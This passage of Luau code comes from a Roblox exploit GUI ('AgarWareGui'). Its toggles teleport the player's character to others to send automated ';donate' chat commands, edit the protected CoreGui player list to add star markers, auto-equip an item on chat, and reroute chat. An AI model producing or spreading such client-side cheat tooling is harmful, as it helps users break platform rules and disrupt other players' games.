-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerScript
local function C_25b()
local script = G2L["25b"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local OtherDecimalFixerRow = script.Parent
local OtherDecimalFixerTickBox = OtherDecimalFixerRow.OtherDecimalFixerTickBox
local MiscGroup = OtherDecimalFixerRow.Parent
local function getAccentColor()
local a = MiscGroup:FindFirstChild("MiscAccentColor")
return a and a.BackgroundColor3 or Color3.new(1,1,1)
end
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
--------------------------------------------------
-- TOOLTIP
--------------------------------------------------
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0,212,0,0)
tooltipFrame.Visible = false
local sg = getScreenGui()
if sg then tooltipFrame.Parent = sg end
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57,57,57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0,6)
tooltipPadding.PaddingBottom = UDim.new(0,6)
tooltipPadding.PaddingLeft = UDim.new(0,6)
tooltipPadding.PaddingRight = UDim.new(0,6)
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Fixes other players time decimals by donating to them but makes your time into decimals."
tooltipLabel.TextColor3 = Color3.new(1,1,1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0,200,0,0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
OtherDecimalFixerTickBox.MouseEnter:Connect(function()
local abs = OtherDecimalFixerTickBox.AbsolutePosition
local size = OtherDecimalFixerTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
OtherDecimalFixerTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
--------------------------------------------------
-- SHARED MUTUAL EXCLUSIVE
--------------------------------------------------
shared.DecimalFixerActive = shared.DecimalFixerActive or nil
--------------------------------------------------
-- CHAT
--------------------------------------------------
local function sendChat(message)
if shared.sendChat then shared.sendChat(message) end
end
--------------------------------------------------
-- STATE
--------------------------------------------------
local isEnabled = false
local loopRunning = false
local ignoredPlayers = {} -- userId -> tick() when ignore expires
local attemptTracker = {} -- userId -> {times={}}
--------------------------------------------------
-- HELPERS
--------------------------------------------------
local function getPlayerTime(player)
local char = workspace:FindFirstChild(player.Name)
if not char then return nil end
local tiempo = char:FindFirstChild("Tiempo")
if not tiempo then return nil end
local text1 = tiempo:FindFirstChild("Text1")
if not text1 then return nil end
local num = tonumber(text1.Text)
return num
end
local function hasDecimal(num)
if not num then return false end
return num ~= math.floor(num)
end
local function calcDonateAmount(num)
local decimalPart = num - math.floor(num)
local amount = 1 + (1 - decimalPart)
return string.format("%.10f", amount):gsub("0+$",""):gsub("%.$","")
end
-- Replace _ with . in username
local function sanitizeUsername(name)
return name:gsub("_", ".")
end
-- Get shortest unique prefix for a player among all players with decimal time
local function getUniquePrefix(targetPlayer, decimalPlayers)
local targetName = targetPlayer.Name
for len = 5, #targetName do
local prefix = targetName:sub(1, len)
local matches = 0
for _, p in ipairs(decimalPlayers) do
if p.Name:sub(1, len) == prefix then
matches += 1
end
end
if matches == 1 then
return sanitizeUsername(prefix), true
end
end
return nil, false
end
-- Track TP back position
local function getMyHRP()
local char = LocalPlayer.Character
return char and char:FindFirstChild("HumanoidRootPart")
end
local function tpTo(player)
local hrp = getMyHRP()
if not hrp then return nil end
local savedPos = hrp.CFrame
local targetChar = workspace:FindFirstChild(player.Name)
local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
if not targetHRP then return nil end
hrp.CFrame = targetHRP.CFrame * CFrame.new(0, 0, 3)
return savedPos
end
local function tpBack(savedCFrame)
local hrp = getMyHRP()
if hrp and savedCFrame then
hrp.CFrame = savedCFrame
end
end
local function trackAttempt(userId)
local now = tick()
attemptTracker[userId] = attemptTracker[userId] or {times = {}}
local times = attemptTracker[userId].times
table.insert(times, now)
-- Clean attempts older than 1 minute
for i = #times, 1, -1 do
if now - times[i] > 60 then
table.remove(times, i)
end
end
return #times
end
--------------------------------------------------
-- FIX ONE PLAYER
--------------------------------------------------
local function fixPlayer(player, decimalPlayers)
local userId = player.UserId
-- Check ignore
if ignoredPlayers[userId] and tick() < ignoredPlayers[userId] then return end
local num = getPlayerTime(player)
if not num or not hasDecimal(num) then return end
local amount = calcDonateAmount(num)
local attempts = trackAttempt(userId)
-- Try unique prefix first
local prefix, isUnique = getUniquePrefix(player, decimalPlayers)
if isUnique and attempts <= 5 then
-- Send via prefix
print("[OtherDecimalFixer] Fixing", player.Name, "via prefix:", prefix, "amount:", amount)
sendChat(";donate " .. prefix .. " " .. amount)
else
-- TP to player, donate nearest, TP back
print("[OtherDecimalFixer] TPing to", player.Name, "and donating nearest, amount:", amount)
local savedPos = tpTo(player)
if not savedPos then return end
task.wait(0.5)
-- Check they haven't moved too far
local targetChar = workspace:FindFirstChild(player.Name)
local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
local myHRP = getMyHRP()
if targetHRP and myHRP and (myHRP.Position - targetHRP.Position).Magnitude > 10 then
tpBack(savedPos)
return
end
sendChat(";donate n " .. amount)
task.wait(0.5)
tpBack(savedPos)
-- Check if fixed after TP donate
task.wait(1)
local newNum = getPlayerTime(player)
if newNum and hasDecimal(newNum) and attempts >= 5 then
-- Still not fixed after 5 attempts via TP — ignore for 5 mins
ignoredPlayers[userId] = tick() + 300
print("[OtherDecimalFixer] Ignoring", player.Name, "for 5 minutes")
end
end
end
--------------------------------------------------
-- MAIN LOOP
--------------------------------------------------
local function runLoop()
while isEnabled do
-- Get all players with decimal time (excluding self)
local decimalPlayers = {}
for _, player in ipairs(Players:GetPlayers()) do
if player == LocalPlayer then continue end
if ignoredPlayers[player.UserId] and tick() < ignoredPlayers[player.UserId] then continue end
local num = getPlayerTime(player)
if num and hasDecimal(num) then
table.insert(decimalPlayers, player)
end
end
-- Fix one at a time with 1 second between
for _, player in ipairs(decimalPlayers) do
if not isEnabled then break end
fixPlayer(player, decimalPlayers)
task.wait(1)
end
task.wait(5)
end
loopRunning = false
end
--------------------------------------------------
-- ENABLE / DISABLE
--------------------------------------------------
local function disable()
isEnabled = false
OtherDecimalFixerTickBox.BackgroundColor3 = Color3.new(0,0,0)
if shared.DecimalFixerActive == "other" then
shared.DecimalFixerActive = nil
end
end
local function enable()
-- Turn off self decimal fixer if on
if shared.DecimalFixerActive == "self" then
if shared.DisableSelfDecimalFixer then
shared.DisableSelfDecimalFixer()
end
end
isEnabled = true
shared.DecimalFixerActive = "other"
OtherDecimalFixerTickBox.BackgroundColor3 = getAccentColor()
ignoredPlayers = {}
attemptTracker = {}
if loopRunning then return end
loopRunning = true
task.spawn(runLoop)
end
-- Expose disable for mutual exclusive
shared.DisableOtherDecimalFixer = disable
OtherDecimalFixerTickBox.MouseButton1Click:Connect(function()
if isEnabled then disable() else enable() end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
isEnabled = false
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_25b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueScript
local function C_25f()
local script = G2L["25f"];
local EnliChatBlueRow = script.Parent
local MiscGroup = EnliChatBlueRow.Parent
local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
local EnliChatBlueTickBox = EnliChatBlueRow:WaitForChild("EnliChatBlueTickBox")
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
EnliChatBlueTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
EnliChatBlueTickBox.MouseButton1Click:Connect(function()
if EnliChatBlueTickBox.BackgroundColor3 == Color3.new(0, 0, 0) then
EnliChatBlueTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
EnliChatBlueTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end)
--------------------------------------------------
-- TOOLTIP
--------------------------------------------------
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "Shows a 🌟 next to enlightened players names in chat."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
EnliChatBlueTickBox.MouseEnter:Connect(function()
local abs = EnliChatBlueTickBox.AbsolutePosition
local size = EnliChatBlueTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
EnliChatBlueTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_25f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliScript
local function C_263()
local script = G2L["263"];
local AutoEnliRow = script.Parent
local AutoEnliTickBox = AutoEnliRow:WaitForChild("AutoEnliTickBox")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local CoreGui = game:GetService("CoreGui")
local function getAccentColor()
local MiscGroup = AutoEnliRow.Parent
local a = MiscGroup:FindFirstChild("MiscAccentColor")
if a then
return a.BackgroundColor3
else
return Color3.new(1, 1, 1)
end
end
-- State
local isEnabled = false
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
AutoEnliTickBox.BackgroundColor3 = getAccentColor()
else
AutoEnliTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
AutoEnliTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- FUNCTIONS
-- ============================================================
local function getEquippedTool()
local character = LocalPlayer.Character
if not character then return nil end
return character:FindFirstChildOfClass("Tool")
end
local function equipArkenstone()
local arkenstone = LocalPlayer.Backpack:FindFirstChild("The Arkenstone")
if not arkenstone then return false end
local character = LocalPlayer.Character
if not character then return false end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return false end
humanoid:EquipTool(arkenstone)
return true
end
local function unequip()
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return end
humanoid:UnequipTools()
end
local function equipTool(tool)
if not tool or tool.Parent ~= LocalPlayer.Backpack then return end
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return end
humanoid:EquipTool(tool)
end
-- ============================================================
-- WATCH BUBBLE CHAT
-- ============================================================
local function watchBubbleChat()
local experienceChat = CoreGui:WaitForChild("ExperienceChat", 10)
if not experienceChat then return end
local bubbleChat = experienceChat:WaitForChild("bubbleChat", 10)
if not bubbleChat then return end
local myBubbleChatName = "BubbleChat_" .. LocalPlayer.UserId
local myBubbleChat = bubbleChat:WaitForChild(myBubbleChatName, 10)
if not myBubbleChat then return end
local bubbleChatList = myBubbleChat:WaitForChild("BubbleChatList", 10)
if not bubbleChatList then return end
-- Watch for new bubble frames
bubbleChatList.ChildAdded:Connect(function(bubble)
if not isEnabled then return end
if string.match(bubble.Name, "^Bubble" .. LocalPlayer.UserId) then
local previousTool = getEquippedTool()
task.wait(0.01)
equipArkenstone()
task.wait(0.19)
if previousTool then
unequip()
task.wait(0.05)
equipTool(previousTool)
else
unequip()
end
end
end)
end
task.spawn(watchBubbleChat)
-- ============================================================
-- INITIALIZE
-- ============================================================
AutoEnliTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- ============================================================
-- TOOLTIP
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "Automatically equips enlighten when you type anything in chat without having to equip it manually."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
AutoEnliTickBox.MouseEnter:Connect(function()
local abs = AutoEnliTickBox.AbsolutePosition
local size = AutoEnliTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
AutoEnliTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_263);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixScript
local function C_267()
local script = G2L["267"];
local ChatFixRow = script.Parent
local MiscGroup = ChatFixRow.Parent
local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
local ChatFixTickBox = ChatFixRow:WaitForChild("ChatFixTickBox")
--------------------------------------------------
-- CHAT FIX FUNCTION
--------------------------------------------------
local isEnabled = false
function say(text, channel)
coroutine.wrap(function()
if isEnabled then
-- Chat fix ON: force ; prefix and RBXGeneral
if string.sub(text, 1, 1) ~= ";" then
text = ";" .. text
end
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(text)
else
-- Chat fix OFF: normal behavior
if channel and channel:lower() == "system" then
if string.sub(text, 1, 1) ~= ";" then
text = ";" .. text
end
game:GetService("TextChatService").TextChannels.RBXSystem:SendAsync(text)
else
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(text)
end
end
end)()
end
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
ChatFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
ChatFixTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
if isEnabled then
ChatFixTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
ChatFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end)
--------------------------------------------------
-- TOOLTIP
--------------------------------------------------
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "Forces all messages to use general chat with ; prefix. Credits to Mental for making this (ugly fix)."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
ChatFixTickBox.MouseEnter:Connect(function()
local abs = ChatFixTickBox.AbsolutePosition
local size = ChatFixTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ChatFixTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_267);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBScript
local function C_26b()
local script = G2L["26b"];
-- Leaderboard Enlighten Star Script
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local CoreGui = game:GetService("CoreGui")
local Workspace = game:GetService("Workspace")
local EnliLBRow = script.Parent
local MiscGroup = EnliLBRow.Parent
local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
local EnliLBTickBox = EnliLBRow:WaitForChild("EnliLBTickBox")
local isEnabled = false
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
EnliLBTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
EnliLBTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
if isEnabled then
EnliLBTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
EnliLBTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end)
--------------------------------------------------
-- TOOLTIP
--------------------------------------------------
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "Shows a 🌟 next to enlightened players names on the leaderboard."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
EnliLBTickBox.MouseEnter:Connect(function()
local abs = EnliLBTickBox.AbsolutePosition
local size = EnliLBTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
EnliLBTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
--------------------------------------------------
-- ARKENSTONE CHECK
--------------------------------------------------
local function hasArkenstone(player)
-- Check backpack
local backpack = player:FindFirstChild("Backpack")
if backpack and backpack:FindFirstChild("The Arkenstone") then
return true
end
-- Check character in workspace
local character = Workspace:FindFirstChild(player.Name)
if character and character:FindFirstChild("The Arkenstone") then
return true
end
return false
end
--------------------------------------------------
-- UPDATE LEADERBOARD NAMES
--------------------------------------------------
local originalNames = {} -- Store original names
local function updatePlayerNames()
if not isEnabled then
-- Remove all stars when disabled
local PlayerList = CoreGui:FindFirstChild("PlayerList")
if not PlayerList then return end
pcall(function()
local ScrollingFrame = PlayerList.Children.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScrollingFrame.OffsetUndoFrame
for _, teamList in pairs(ScrollingFrame:GetChildren()) do
if teamList.Name:match("^TeamList_") then
for _, child in pairs(teamList:GetChildren()) do
if child.Name:match("^PlayerEntry_") then
local userId = tonumber(child.Name:match("PlayerEntry_(%d+)"))
if userId then
local contentFrame = child:FindFirstChild("PlayerEntryContentFrame")
if contentFrame then
local overlayFrame = contentFrame:FindFirstChild("OverlayFrame")
if overlayFrame then
local nameFrame = overlayFrame:FindFirstChild("NameFrame")
if nameFrame then
local playerNameFrame = nameFrame:FindFirstChild("PlayerName")
if playerNameFrame then
local playerNameLabel = playerNameFrame:FindFirstChild("PlayerName")
if playerNameLabel and playerNameLabel:IsA("TextLabel") then
-- Remove star
playerNameLabel.Text = playerNameLabel.Text:gsub("^🌟 ", "")
end
end
end
end
end
end
end
end
end
end
end)
return
end
-- Add stars when enabled
local PlayerList = CoreGui:FindFirstChild("PlayerList")
if not PlayerList then return end
pcall(function()
local ScrollingFrame = PlayerList.Children.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScrollingFrame.OffsetUndoFrame
for _, teamList in pairs(ScrollingFrame:GetChildren()) do
if teamList.Name:match("^TeamList_") then
for _, child in pairs(teamList:GetChildren()) do
if child.Name:match("^PlayerEntry_") then
local userId = tonumber(child.Name:match("PlayerEntry_(%d+)"))
if userId then
local player = Players:GetPlayerByUserId(userId)
if player then
local contentFrame = child:FindFirstChild("PlayerEntryContentFrame")
if contentFrame then
local overlayFrame = contentFrame:FindFirstChild("OverlayFrame")
if overlayFrame then
local nameFrame = overlayFrame:FindFirstChild("NameFrame")
if nameFrame then
local playerNameFrame = nameFrame:FindFirstChild("PlayerName")
if playerNameFrame then
local playerNameLabel = playerNameFrame:FindFirstChild("PlayerName")
if playerNameLabel and playerNameLabel:IsA("TextLabel") then
if hasArkenstone(player) then
-- Add star if not already there
if not playerNameLabel.Text:match("^🌟") then
playerNameLabel.Text = "🌟 " .. playerNameLabel.Text
end
else
-- Remove star if present
playerNameLabel.Text = playerNameLabel.Text:gsub("^🌟 ", "")
end
end
end
end
end
end
end
end
end
end
end
end
end)
end
-- Update every second
task.spawn(function()
while true do
updatePlayerNames()
task.wait(1)
end
end)
updatePlayerNames()
end;
task.spawn(C_26b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixScript
local function C_26f()
local script = G2L["26f"];
local BkitUIFixRow = script.Parent
local MiscGroup = BkitUIFixRow.Parent
local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
local BkitUIFixTickBox = BkitUIFixRow:WaitForChild("BkitUIFixTickBox")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local TOOLS = {"Build", "Paint", "Shape", "Shovel"}
--------------------------------------------------
-- BKIT UI FIX
--------------------------------------------------
local isEnabled = false
local heartbeatConn = nil
local function updateUI()
local character = workspace:FindFirstChild(LocalPlayer.Name)
local playerGui = LocalPlayer.PlayerGui
for _, toolName in ipairs(TOOLS) do
local gui = playerGui:FindFirstChild(toolName)
if gui then
local shouldBeEnabled = character ~= nil and character:FindFirstChild(toolName) ~= nil
if gui.Enabled ~= shouldBeEnabled then
gui.Enabled = shouldBeEnabled
end
end
end
end
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
BkitUIFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
BkitUIFixTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
if isEnabled then
BkitUIFixTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
heartbeatConn = RunService.Heartbeat:Connect(updateUI)
else
BkitUIFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if heartbeatConn then
heartbeatConn:Disconnect()
heartbeatConn = nil
end
local playerGui = LocalPlayer.PlayerGui
for _, toolName in ipairs(TOOLS) do
local gui = playerGui:FindFirstChild(toolName)
if gui then
gui.Enabled = false
end
end
end
end)
--------------------------------------------------
-- TOOLTIP
--------------------------------------------------
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "Fixes bkit UI if it gets stuck on ur screen."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
BkitUIFixTickBox.MouseEnter:Connect(function()
local abs = BkitUIFixTickBox.AbsolutePosition
local size = BkitUIFixTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
BkitUIFixTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
if heartbeatConn then
heartbeatConn:Disconnect()
heartbeatConn = nil
end
end
end)
end;
task.spawn(C_26f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxScript
local function C_273()
local script = G2L["273"];
local BoomboxGroup = script.Parent
local BoomboxMinimize = BoomboxGroup.BoomboxTitle.BoomboxMinimize
local function getRows()
local rows = {}
for _, child in ipairs(BoomboxGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = BoomboxGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
BoomboxMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
BoomboxGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
BoomboxMinimize.Text = "+"
else
BoomboxGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
BoomboxMinimize.Text = "-"
end
end)
end;
task.spawn(C_273);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTooltip
local function C_274()
local script = G2L["274"];
-- ============================================================
-- BOOMBOX GROUP TOOLTIP SCRIPT
-- ============================================================
local BoomboxGroup = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND UI REFERENCES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local BoomVolTickBox = findDescendant("BoomVolTickBox")
local MuteTacoTickBox = findDescendant("MuteTacoTickBox")
